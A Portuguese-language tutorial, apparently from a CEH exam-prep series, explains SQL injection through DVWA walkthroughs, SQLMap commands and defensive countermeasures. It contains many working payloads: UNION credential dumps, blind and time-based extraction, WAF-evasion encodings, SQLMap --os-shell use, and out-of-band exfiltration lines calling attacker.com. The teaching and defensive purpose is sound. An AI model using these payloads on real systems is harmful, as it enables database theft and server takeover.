SQL Injection: A Vulnerabilidade que Ainda Domina a Web
Em 2023, um único ataque de SQL Injection contra a MOVEit Transfer expôs dados de mais de 2.500 organizações — incluindo o Departamento de Energia dos EUA, BBC e British Airways. A vulnerabilidade (CVE-2023-34362) explorava um endpoint SQLi que permitia leitura e escrita arbitrária de arquivos no servidor. Não foi um bug exótico de zero-day: era SQL Injection, a mesma vulnerabilidade documentada há mais de duas décadas.
SQL Injection, ou SQLi, acontece quando dados fornecidos pelo usuário são concatenados diretamente em uma query SQL, permitindo que o atacante manipule a lógica da consulta. Em termos simples: o input deixa de ser dado e vira código. E uma vez que o atacante controla a query, ele controla o banco de dados — e frequentemente o servidor inteiro.
A SQLi ocupa posição permanente no OWASP Top 10 (atualmente como parte da categoria A03 — Injection) e é citada em praticamente todo relatório de segurança web como uma das três vulnerabilidades mais exploradas. O relatório Verizon DBIR 2024 aponta que injeção (incluindo SQLi) está presente em cerca de 15% dos breaches relacionados a aplicações web. Não é coincidência: a maioria das aplicações usa bancos de dados SQL, e a maioria dos desenvolvedores ainda constrói queries concatenando strings.
Por que é tão perigoso
Uma SQLi não-explorada é um vazamento de dados. Uma SQLi explorada é, potencialmente, a perda completa do controle do sistema:
- Data exfiltration — dump completo de tabelas, incluindo credenciais, dados pessoais (PII), dados financeiros.
- Authentication bypass — logar como admin sem senha:
' OR 1=1--. - RCE (Remote Code Execution) — via
xp_cmdshell(MSSQL),INTO OUTFILE+ webshell (MySQL),UTL_HTTP(Oracle). - File operations — ler arquivos do sistema (
LOAD_FILE), escrever arquivos (INTO OUTFILE). - Pivoting — usar o banco para escanear redes internas, fazer DNS exfiltration, estabelecer reverse shells.
- Modificação de dados — não só ler, mas alterar, excluir ou inserir registros (incluindo novos usuários admin).
No contexto do CEH v13, SQL Injection é cobrada extensivamente — espere 5-8 questões diretas no exame, além de perguntas que presumem esse conhecimento em cenários de pentest web. Este artigo cobre tudo: tipos, exploração manual, automação com SQLMap, WAF bypass e defesa.
Como Funciona: O Mecanismo da Injeção
Para entender SQL Injection, primeiro entenda como uma query vulnerável é construída. Considere este código PHP (padrão em aplicações legadas):
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query($query);
Se o usuário acessar page.php?id=1, a query executada é:
SELECT first_name, last_name FROM users WHERE user_id = '1';
Normal. Agora e se o input for 1' OR 1=1--? A query vira:
SELECT first_name, last_name FROM users WHERE user_id = '1' OR 1=1--';
Analisando cada parte:
'1'— fecha a aspa que o PHP abriu. Ouser_idrecebe o valor1.OR 1=1— condição sempre verdadeira. Todo registro da tabela passa no WHERE.--— comentário SQL (MySQL). Tudo depois é ignorado, incluindo a aspa de fechamento original e qualquer código subsequente.
Resultado: a query retorna todos os usuários da tabela. O atacante acabou de bypassar o filtro de ID e acessar dados que não deveria ver.
O mesmo princípio se aplica a qualquer concatenação de strings em queries. O problema fundamental é que a aplicação não distingue entre dados e código. Quando o input é concatenado, ele pode alterar a estrutura da query — e isso é exatamente o que o atacante explora.
Por que prepared statements previnem
Prepared statements separam código de dados em nível de protocolo. A query é enviada ao banco com marcadores de parâmetro, e os dados são enviados separadamente — nunca como parte da string SQL:
# PHP com PDO:
$stmt = $pdo->prepare('SELECT first_name, last_name FROM users WHERE user_id = ?');
$stmt->execute([$id]);
O banco recebe a estrutura da query primeiro (compila e otimiza), depois recebe os dados como parâmetros tipados. Os dados nunca são interpretados como SQL, mesmo que contenham ' OR 1=1--. O banco trataria a string inteira como um valor literal para comparação com user_id, o que naturalmente não corresponderia a nenhum registro.
É por isso que prepared statements são a solução definitiva. Não é sanitização — é separação arquitetural entre código e dados.
Tipos de SQL Injection
A SQL Injection não é monolítica. Existem classificações baseadas em como os dados são extraídos e como a vulnerabilidade se manifesta. A taxonomia padrão divide as injeções em três categorias principais com subtipos.
In-band (Clássica)
O atacante recebe os resultados diretamente na response da aplicação. É o tipo mais comum e mais fácil de explorar.
UNION-based
O operador UNION combina os resultados de duas queries SELECT em um único resultset. Se a primeira query retorna N colunas, a segunda também precisa retornar N colunas (ou menos, com NULLs preenchendo as restantes). O atacante descobre quantas colunas a query original retorna, identifica quais aparecem na página, e injeta uma query maliciosa nessa posição.
# Query original (retorna 2 colunas):
SELECT first_name, last_name FROM users WHERE user_id = '1'
# Injeção com UNION:
1' UNION SELECT username, password FROM admin_users--
# Resultado: a página exibe usernames e passwords no lugar de first_name/last_name
Error-based
Quando a aplicação retorna mensagens de erro SQL detalhadas, o atacante pode extrair dados fazendo a query falhar de forma controlada. Funções como EXTRACTVALUE(), UPDATEXML() (MySQL) ou CONVERT() (MSSQL) incluem dados na mensagem de erro.
# MySQL — extrair versão via erro:
1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--
# O erro retorna: XPATH syntax error: '~5.7.42-0ubuntu0.18.04.1~'
Blind (Cega)
A aplicação não retorna dados da query nem erros SQL. O atacante só pode inferir informações observando mudanças no comportamento da página.
Boolean-based
O atacante envia condições que retornam verdadeiro ou falso e observa a diferença na response:
# Verdadeiro — página mostra resultado normal:
1' AND 1=1--
# Falso — página mostra resultado vazio ou mensagem de erro genérica:
1' AND 1=2--
# Extrair database() caractere por caractere:
1' AND SUBSTRING(database(),1,1)='a'-- # página carrega? O primeiro char é 'a'
1' AND SUBSTRING(database(),1,1)='d'-- # página carrega? O primeiro char é 'd'
# Repetir para cada posição...
A extração é tediosa manualmente (cada caractere exige uma request), mas perfeitamente automatizável com ferramentas. Um database name de 10 caracteres com charset alfanumérico exige em média ~150 requests no pior caso.
Time-based
Quando nem a página muda (true/false produzem a mesma response), o atacante usa delays condicionais. Se a condição for verdadeira, a query dorme por N segundos antes de responder:
# MySQL — se o primeiro caractere do database() for 'd', dorme 5 segundos:
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)--
# Tempo de resposta > 5s? Verdadeiro. ~0s? Falso.
# Repetir para cada caractere...
Alternativas ao SLEEP(): BENCHMARK(5000000,SHA1('test')) no MySQL, WAITFOR DELAY '0:0:5' no MSSQL, pg_sleep(5) no PostgreSQL.
O custo é significativamente maior que boolean-based — cada caractere requer uma request com 5+ segundos de espera. Um database name de 10 caracteres pode levar 50+ segundos. Para tabelas inteiras, isso escala para horas. É por isso que a automação é essencial.
Out-of-band (OOB)
Quando a aplicação não retorna dados e as respostas não variam (não há boolean, não há timing confiável), o atacante pode fazer o banco enviar dados para um servidor que ele controla via DNS ou HTTP.
# MySQL — exfiltrar via DNS (requer LOAD_FILE habilitado):
1' UNION SELECT LOAD_FILE(CONCAT('\\\\', database(), '.attacker.com\\a'))--
# O MySQL resolve o DNS: nomedobanco.attacker.com
# O atacante vê a query DNS no seu servidor DNS
# MSSQL — exfiltrar via HTTP:
1'; EXEC master..xp_dirtree '\\attacker.com\'+CONVERT(varchar,@@version)+'\'--
# MSSQL faz lookup DNS: attacker.com/Microsoft+SQL+Server+2019...
OOB depende de funcionalidades específicas do banco de dados (DNS resolution, outbound HTTP). Firewalls restritivos que bloqueiam outbound DNS podem mitigar esse vetor.
SQLMap Masterclass
SQLMap é a ferramenta open-source mais completa para detecção e exploração automática de SQL Injection. Escrita em Python, automatiza todo o processo: desde a identificação do tipo de injeção até o dump completo do banco de dados, passando por file read/write e OS shell.
Instalação
# Debian/Ubuntu/Kali:
sudo apt install sqlmap
# Via Git (última versão):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
python3 sqlmap-dev/sqlmap.py --version
# Requer Python 3.6+. Funciona em Linux, macOS e Windows.
Workflow Completo
Passo 1 — Detectar a vulnerabilidade
# Básico — testar todos os parâmetros GET:
sqlmap -u "http://target.com/page.php?id=1" --batch
# --batch: responde "Y" a todas as perguntas automaticamente
# SQLMap testa cada parâmetro com payloads de todos os tipos
# Ao final, relata: vulnerável? Qual tipo? Qual backend?
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[INFO] testing if the target URL content is stable
[INFO] testing SQL injection on GET parameter 'id'
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] GET parameter 'id' is vulnerable. Do you want to keep testing?
(do not answer, --batch will answer for you)
[INFO] GET parameter 'id' is vulnerable (UNION query)
[INFO] the back-end DBMS is MySQL >= 5.6
[INFO] fetching banner: '5.7.42-0ubuntu0.18.04.1'
Passo 2 — Enumerar bancos de dados
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
# Output:
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] target_app
[*] secret_db
Passo 3 — Enumerar tabelas
sqlmap -u "http://target.com/page.php?id=1" -D target_app --tables --batch
# Output:
Database: target_app
[4 tables]
+------------+
| users |
| sessions |
| products |
| orders |
+------------+
Passo 4 — Enumerar colunas
sqlmap -u "http://target.com/page.php?id=1" -D target_app -T users --columns --batch
# Output:
Database: target_app
Table: users
[5 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| id | int |
| username | varchar(50) |
| password | varchar(255)|
| email | varchar(100)|
| role | varchar(20) |
+------------+-------------+
Passo 5 — Dump de dados
# Tabela específica:
sqlmap -u "http://target.com/page.php?id=1" --dump -D target_app -T users --batch
# Banco inteiro (cuidado — pode ser lento e barulhento):
sqlmap -u "http://target.com/page.php?id=1" --dump-all --batch
# Output:
Database: target_app
Table: users
[15 entries]
+----+----------+----------------------------------+------------------+-------+
| id | username | password | email | role |
+----+----------+----------------------------------+------------------+-------+
| 1 | admin | $2y$10$eXaM... | admin@target.com | admin |
| 2 | user1 | $2y$10$pLhA... | user1@target.com | user |
...
OS Shell — Execução de comandos no servidor
# Obtém um shell no sistema operacional via SQLi:
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
# SQLMap pergunta qual técnica usar para upload do webshell:
# 1) Via file upload (se existir formulário de upload)
# 2) Via MySQL INTO OUTFILE (se o DB user tiver privilégio FILE)
# Se funcionar:
os-shell> whoami
www-data
os-shell> cat /etc/passwd
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
O --os-shell funciona quando o DB tem privilégios de escrita no diretório web e a aplicação consegue executar PHP/ASP/JSP. No MySQL, requer privilégio FILE e secure_file_priv vazio.
WAF Bypass com Tamper Scripts
Tamper scripts modificam os payloads para evitar detection por WAFs e filtros de aplicação:
# Uso básico:
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment --batch
# Múltiplos tamper scripts em sequência:
sqlmap -u "http://target.com/page.php?id=1" \
--tamper=space2comment,between,randomcase,charencode --batch
Tamper scripts úteis para bypass de WAF:
| Script | Função | Exemplo |
|---|---|---|
space2comment |
Substitui espaços por /**/ |
SELECT/**/user em vez de SELECT user |
space2plus |
Espaço vira + |
SELECT+user |
between |
Substitui >/< por BETWEEN |
BETWEEN 0 AND 5 |
randomcase |
Randomiza maiúsculas/minúsculas | SeLeCt |
charencode |
URL-encode todos os caracteres | %53%45%4c%45%43%54 |
chardoubleencode |
Double URL-encode | %2553%2545%254c |
equaltolike |
= vira LIKE |
WHERE id LIKE 1 |
randomcomments |
Insere comentários randômicos dentro de keywords | SEL/**/ECT |
versionedkeywords |
Prefixa com /*!MySQL_version*/ |
/*!50000SELECT*/ |
percentage |
Adiciona % antes de cada caractere |
%S%E%L%E%C%T |
Level e Risk
# Nível de testes (1-5, default 1):
# Quanto maior, mais payloads e mais parâmetros testados
# Level 5 testa HTTP headers (User-Agent, Referer, Cookie)
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3 --batch
# Nível de risco (1-3, default 1):
# Risk 2: testa payloads que alteram dados (UPDATE, DELETE)
# Risk 3: testa payloads baseados em OR (intensivos, podem derrubar o DB)
Atenção: nunca use --risk=3 em produção sem autorização explícita. Payloads OR-based podem causar denial of service ou modificar dados acidentalmente.
Cookie e POST Injection
SQL Injection não se limita a parâmetros GET. Qualquer input que entre em uma query é um vetor potencial:
# Injeção via Cookie:
sqlmap -u "http://target.com/page.php" \
--cookie="session_id=1" \
--batch --dbs
# Injeção via POST data:
sqlmap -u "http://target.com/login.php" \
--data="username=admin&password=test" \
--batch --dbs
# Injeção via HTTP header:
sqlmap -u "http://target.com/page.php" \
--headers="X-Forwarded-For: 1*" \
--batch --dbs
O * marca o ponto de injeção — SQLMap testa payloads naquela posição. Sem o asterisco, SQLMap tenta detectar automaticamente o ponto vulnerável.
Exploração UNION-based Passo a Passo
UNION-based é o tipo mais didático de SQLi. Vamos explorar o processo completo, query a query, usando um cenário real com DVWA.
Passo 1 — Confirmar a injeção
# Input normal:
http://target/vulnerabilities/sqli/?id=1
# Resultado: exibe o nome do usuário com ID 1
# Testar injeção:
http://target/vulnerabilities/sqli/?id=1'
# Resultado: erro SQL — "You have an error in your SQL syntax"
# Isso confirma: o input entra na query, e o backend é MySQL
Passo 2 — Determinar o número de colunas
Para que UNION funcione, a query injetada precisa ter o mesmo número de colunas da query original. Existem duas técnicas:
Técnica 1 — ORDER BY:
1' ORDER BY 1-- # OK
1' ORDER BY 2-- # OK
1' ORDER BY 3-- # OK
1' ORDER BY 4-- # OK
1' ORDER BY 5-- # ERRO → Unknown column '5' in 'order clause'
# Conclusão: a query retorna 4 colunas
Técnica 2 — UNION SELECT NULL:
1' UNION SELECT NULL-- # ERRO → column count doesn't match
1' UNION SELECT NULL,NULL-- # ERRO
1' UNION SELECT NULL,NULL,NULL-- # OK → 3 colunas? (pode ser)
1' UNION SELECT NULL,NULL,NULL,NULL-- # OK → 4 colunas
1' UNION SELECT NULL,NULL,NULL,NULL,NULL-- # ERRO → confirma 4 colunas
Passo 3 — Identificar a coluna visível
1' UNION SELECT 1,2,3,4--
# A página exibe números nos campos que correspondem a colunas "printáveis"
# Se a página mostrar "2" no lugar do nome e "4" no lugar do sobrenome:
# → Colunas 2 e 4 são visíveis. Use uma delas para extrair dados.
Passo 4 — Extrair informações
# Versão do MySQL e banco atual:
1' UNION SELECT 1,@@version,database(),4--
# Resultado: "5.7.42-0ubuntu0.18.04.1" e "dvwa"
# Usuário atual e host:
1' UNION SELECT 1,current_user(),3,@@hostname--
# Listar databases:
1' UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata--
# Listar tabelas do banco "dvwa":
1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema='dvwa'--
# Listar colunas da tabela "users":
1' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'--
# Dump de usernames e passwords:
1' UNION SELECT 1,user,password,4 FROM users--
Os hashes MD5 do DVWA podem ser quebrados rapidamente com hashcat ou John the Ripper — na prática, em um pentest real, você já tem as credenciais.
Blind SQL Injection na Prática
Quando não há dados na response e não há erros SQL, blind SQLi é o caminho. A técnica é mais lenta mas não menos eficaz.
Boolean-based
# Cenário: página mostra "User ID exists in the database" para IDs válidos
# e "User ID is MISSING from the database" para inválidos
# Confirmar vulnerabilidade:
1 AND 1=1 # "exists" → verdadeiro
1 AND 1=2 # "MISSING" → falso
# A injeção funciona!
# Construir a lógica de extração:
# SUBSTRING(string, position, length) extrai um caractere por vez
# ASCII() converte o caractere para seu valor numérico
# > (comparação) testa se o valor é maior que X
# Primeiro caractere do database():
1 AND ASCII(SUBSTRING(database(),1,1)) > 64--
# 64 = '@'. Se "exists", o char é > '@' (letra minúscula ou maiúscula)
1 AND ASCII(SUBSTRING(database(),1,1)) > 100--
# 100 = 'd'. "exists" → o char está entre 'd' e 'z'
# Binary search: 100 → 116 → 100 → ... → 100 = 'd'
# Primeiro caractere do database() é 'd'
# Segundo caractere:
1 AND ASCII(SUBSTRING(database(),2,1)) > 118--
# ...e assim por diante
A binary search reduz o número médio de requests por caractere de ~50 (linear) para ~7 (log₂(128)). SQLMap usa essa abordagem automaticamente.
Time-based
# Cenário: página SEMPRE retorna "Welcome, user" independente do ID
# Nenhuma diferença visual entre true e false
# Confirmar vulnerabilidade:
1 AND SLEEP(5)--
# Se a response demora 5+ segundos → injeção funciona
# Extração caractere por caractere com delay condicional:
1 AND IF(ASCII(SUBSTRING(database(),1,1))=100, SLEEP(5), 0)--
# Demora 5s? Primeiro char é 'd' (ASCII 100)
# Responde imediatamente? Não é 'd'
1 AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--
# Demora? É > 100. Não demora? É <= 100
Automatizando com SQLMap
# SQLMap detecta e explora automaticamente blind SQLi:
sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
# Forçar técnica específica:
sqlmap -u "http://target.com/page.php?id=1" --technique=B --batch
# B = Boolean-based blind
sqlmap -u "http://target.com/page.php?id=1" --technique=T --batch
# T = Time-based blind
# Aumentar o delay para time-based (default 5s):
sqlmap -u "http://target.com/page.php?id=1" --technique=T --time-sec=10 --batch
Para blind time-based, SQLMap é essencial. Fazer manualmente seria impraticável — extrair uma tabela de 100 linhas com 10 colunas de 20 caracteres cada, a 10 segundos por caractere, levaria mais de 5 horas.
Second-Order Injection
Second-order SQL Injection é a mais insidiosa das variantes. O input malicioso é armazenado no banco (via INSERT/UPDATE) e a injeção acontece em uma query diferente, executada posteriormente. O problema: ferramentas automatizadas como SQLMap não detectam isso trivialmente, pois o ponto de injeção e o ponto de execução estão separados.
Cenário clássico
# 1. Registro — input armazenado no banco:
INSERT INTO users (username, password, surname) VALUES ('john', 'hashed_pw', 'admin''--')
# A aplicação escapa as aspas no INSERT — tudo parece seguro
# O valor armazenado é literalmente: admin'--
# 2. Reset de senha — a injeção acontece aqui:
UPDATE users SET password = '$new_password' WHERE surname = '$surname' AND username = '$username'
# Quando John faz reset de senha, a query vira:
UPDATE users SET password = 'new_hashed_pw' WHERE surname = 'admin'--' AND username = 'john'
# O '--' comenta o resto: AND username = 'john' é ignorado
# Resultado: a senha do USUÁRIO ADMIN é alterada, não a do John
A detecção de second-order SQLi requer análise de código ou testes manuais cuidadosos: verificar se dados inseridos em um endpoint são usados em queries em outros endpoints. Code review é a ferramenta mais efetiva aqui.
WAF Bypass Techniques
Web Application Firewalls (WAFs) filtram requests baseadas em padrões. Bypassar um WAF é uma corrida entre a assinatura do filtro e a criatividade do atacante. Aqui estão as técnicas mais relevantes.
Comments como separadores
# Inline comments (MySQL):
SE/**/LECT user FR/**/OM users
# Versão MySQL-specific:
SELECT/*!50000 user*/FROM users
# Executa se versão >= 5.00.00
# Block comments dentro de keywords:
UN/**/ION/**/SEL/**/ECT
Case variation
# SQL é case-insensitive (na maioria dos bancos), mas WAFs podem ser case-sensitive:
sElEcT UsEr FrOm UsErS
SeLeCt FrOm InFoRmAtIoN_sChEmA
Encoding
# URL encoding:
%27 OR 1=1-- (para o apóstrofo ')
# Double URL encoding:
%2527 OR 1=1-- (WAF decodifica uma vez → %27, app decodifica segunda vez → ')
# Unicode encoding:
%u0027 OR 1=1--
# HTML entity encoding:
' OR 1=1--
# Hex encoding (MySQL):
SELECT * FROM users WHERE id = 0x31 (0x31 = '1')
SELECT * FROM users WHERE name = 0x61646D696E ('admin')
NULL bytes
# Null byte pode truncar strings em filters escritos em C/C++:
1%00' OR 1=1--
# Alguns WAFs param de processar no null byte:
UNI%00ON SEL%00ECT
HTTP Parameter Pollution (HPP)
# Múltiplos parâmetros com mesmo nome — qual o WAF/APP usa?
?id=1&id=1' OR 1=1--
# Se o WAF valida o primeiro e a app usa o último: bypass
# Se o WAF valida o último e a app usa o primeiro: bypass
# Comportamento varia por servidor: Apache usa o primeiro,
# IIS/ASP.NET usa o último, Node.js (express) usa o último
Chunked Transfer Encoding
# Dividir payloads entre chunks HTTP:
# Alguns WAFs inspecionam cada chunk individualmente
# sem reconstruir a request completa
Transfer-Encoding: chunked
5
1' UN
8
ION SEL
7
ECT 1,2
...
0
Nenhuma técnica de bypass é universal. Funciona contra WAF X hoje, pode não funcionar amanhã. O segredo é combinar técnicas e testar sistematicamente. SQLMap com tamper scripts já faz a maior parte do trabalho.
Hands-on: DVWA — Todos os Níveis
O DVWA é o laboratório de referência para aprender SQL Injection. Cada nível de segurança implementa uma defesa diferente — entender a progressão é entender como se deve defender aplicações reais.
Low Security
# Código PHP:
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
# Nenhuma sanitização. Concatenação direta. Padrão vulnerável.
# Exploração (vimos acima):
1' UNION SELECT user,password FROM users--
1' UNION SELECT @@version,database()--
SQLMap direto ao ponto:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123;security=low" \
--dbs --batch
Medium Security
# Código PHP:
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
# Diferenças: mysql_real_escape_string() e aspas removidas
# A função escapa caracteres como ', ", \, NULL
# MAS: o $id não está entre aspas na query!
O problema? mysql_real_escape_string protege contra strings, mas o parâmetro é tratado como número inteiro (sem aspas). A injeção funciona sem aspas:
# Não precisa de aspas:
1 UNION SELECT user,password FROM users
# O escape é inútil quando o input não é quoted
# SQLMap:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123;security=medium" \
--dbs --batch
High Security
# Código PHP — query via sessão, não via parâmetro:
if (isset($_GET['Submit'])) {
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
// ...
}
$_SESSION['id'] = $_GET['id'];
# O parâmetro ainda vem do GET e é armazenado na sessão
# LIMIT 1 é adicionado, mas UNION SELECT bypassa com LIMIT 0,1
A proteção é ilusória — o input ainda é concatenado sem sanitização:
# Bypass do LIMIT 1:
0 UNION SELECT user,password FROM users LIMIT 0,1--
# Ou simplesmente ignorar (UNION retorna resultados independentes):
0 UNION SELECT user,password FROM users--
# SQLMap:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abc123;security=high" \
--dbs --batch
Impossible Security
# Código PHP — prepared statement com PDO:
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
# Separou código de dados. PDO::PARAM_INT força inteiro.
# Imune a SQL Injection. Ponto final.
Nenhum bypass existe para prepared statements com bind parameters corretos. É o padrão-ouro de defesa.
Contra-medidas
Saber atacar é fundamental. Saber defender é o que separa o profissional do script kiddie. Aqui está a camada de defesa completa contra SQL Injection, da mais à menos efetiva.
1. Prepared Statements (solução definitiva)
Não é uma recomendação, é um requisito. Toda query que recebe input do usuário deve usar prepared statements. Em qualquer linguagem:
# PHP (PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $userId]);
# PHP (mysqli)
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $userId);
$stmt->execute();
# Python (sqlite3)
cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))
# Java (JDBC)
PreparedStatement stmt = conn.prepareStatement('SELECT * FROM users WHERE id = ?');
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
# Node.js (pg)
const result = await pool.query('SELECT * FROM users WHERE id = $1', [userId]);
2. Input Validation
Validar e sanitizar todo input do lado do servidor (nunca confie no client-side). Whitelist quando possível:
# Validar que ID é um número inteiro:
if (!ctype_digit($id)) {
die('Invalid input');
}
# Whitelist de valores permitidos:
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_column, $allowed_columns)) {
$sort_column = 'id';
}
Whitelist > blacklist. Aceitar apenas o que você sabe que é seguro é infinitamente melhor que tentar filtrar o que é perigoso.
3. ORM
Object-Relational Mappers (ORMs) como SQLAlchemy (Python), Hibernate (Java), Sequelize (Node.js) e Eloquent (PHP/Laravel) abstraem a construção de queries SQL e, por padrão, usam prepared statements internamente.
# SQLAlchemy (Python) — seguro por padrão:
user = session.query(User).filter(User.id == user_id).first()
# Laravel Eloquent (PHP) — seguro por padrão:
$user = User::where('id', $userId)->first();
Cuidado: ORMs permitem raw queries que voltam a ser vulneráveis. Se precisar usar raw queries, use parameterized bindings.
4. Least Privilege no Banco de Dados
A aplicação web nunca deve conectar ao banco como root ou sa. O princípio do menor privilégio limita o dano mesmo que uma SQLi seja explorada:
- O usuário do DB da aplicação deve ter acesso apenas às tabelas necessárias.
- Sem
GRANT ALL. Permissões específicas:SELECT,INSERT,UPDATEapenas nas tabelas que a aplicação precisa. - Sem privilégio
FILE(MySQL) — impedeLOAD_FILEeINTO OUTFILE. - Sem
xp_cmdshell(MSSQL) — impede execução de comandos no SO. - Separe usuários de leitura e escrita quando possível.
5. Web Application Firewall (WAF)
WAFs como ModSecurity com OWASP Core Rule Set adicionam uma camada de defesa em depth. Não substitui código seguro, mas:
- Bloqueia payloads conhecidos antes de alcançar a aplicação.
- Reduz a superfície de ataque enquanto o código é corrigido.
- Protege contra zero-days de SQLi não previstos pelo desenvolvedor.
Configure regras específicas, mantenha assinaturas atualizadas e configure em modo de detecção + bloqueio. WAF com regras default é melhor que sem WAF, mas WAF com regras tuned para sua aplicação é significativamente melhor.
6. Stored Procedures
Stored procedures com parâmetros tipados adicionam outra camada de proteção, pois o banco valida os tipos de dados antes da execução:
# MySQL — procedure com parâmetro INT:
CREATE PROCEDURE get_user(IN user_id INT)
BEGIN
SELECT first_name, last_name FROM users WHERE id = user_id;
END;
# Chamada segura — mesmo com injeção, o tipo INT rejeita strings:
CALL get_user(1 UNION SELECT ...) -- ERRO: tipo incorreto para INT
7. Boas práticas adicionais
- Nunca exiba erros SQL em produção — erros detalhados são munição para atacantes. Configure
display_errors=Offe logue erros internamente. - Configure o DB para rejeitar queries malformadas —
NO_BACKSLASH_ESCAPESno MySQL. - Monitoramento — alerte sobre queries anormais (muito tempo, muitos resultados, padrões de UNION).
- Code review — toda query construída com concatenação de strings deve ser um red flag imediato.
- SAST/DAST — ferramentas como SonarQube (static) e Burp Suite (dynamic) identificam SQLi automaticamente no pipeline de CI/CD.
Resumo
| Tipo de SQLi | Como Detectar | Vetor de Extração | Ferramenta Principal |
|---|---|---|---|
| UNION-based | Página exibe dados do banco | UNION SELECT na response | sqlmap --technique=U |
| Error-based | Página exibe erros SQL | Dados embutidos em mensagens de erro | sqlmap --technique=E |
| Boolean blind | Página muda (sim/não) | True/false por caractere | sqlmap --technique=B |
| Time blind | Tempo de resposta varia | Delays inferem dados | sqlmap --technique=T |
| Out-of-band | DNS/HTTP outbound | LOAD_FILE, xp_dirtree | sqlmap --technique=Q |
| Second-order | Difícil — input armazenado | Execução em query diferente | Manual + análise de código |
SQL Injection continua sendo a vulnerabilidade web mais estudada, mais automatizada e mais devastadora. Saber detectá-la, classificá-la, explorá-la (em laboratórios autorizados) e defendê-la é competência não-negociável para qualquer profissional de segurança. No CEH v13, espere pelo menos 5-8 questões diretamente relacionadas — e outras tantas que pressupõem esse conhecimento como base para tópicos como web app pentesting e defensive security.
No Artigo 22: XSS e CSRF — Exploração e Defesa em Aplicações Web
Se SQL Injection ataca o backend, XSS ataca o frontend. O próximo artigo cobre os três tipos de XSS (reflected, stored, DOM-based), como explorar cada um, payloads avançados, CSP bypass e como proteger aplicações. XSS é a vulnerabilidade mais prevalente na web moderna — e a base para ataques como session hijacking, defacement e keylogging. Se inscreva para não perder e nos vemos lá.
Série CEH v13: Zero to Hero — Publicado em ciberseguranca.org. Artigo 21 de 30.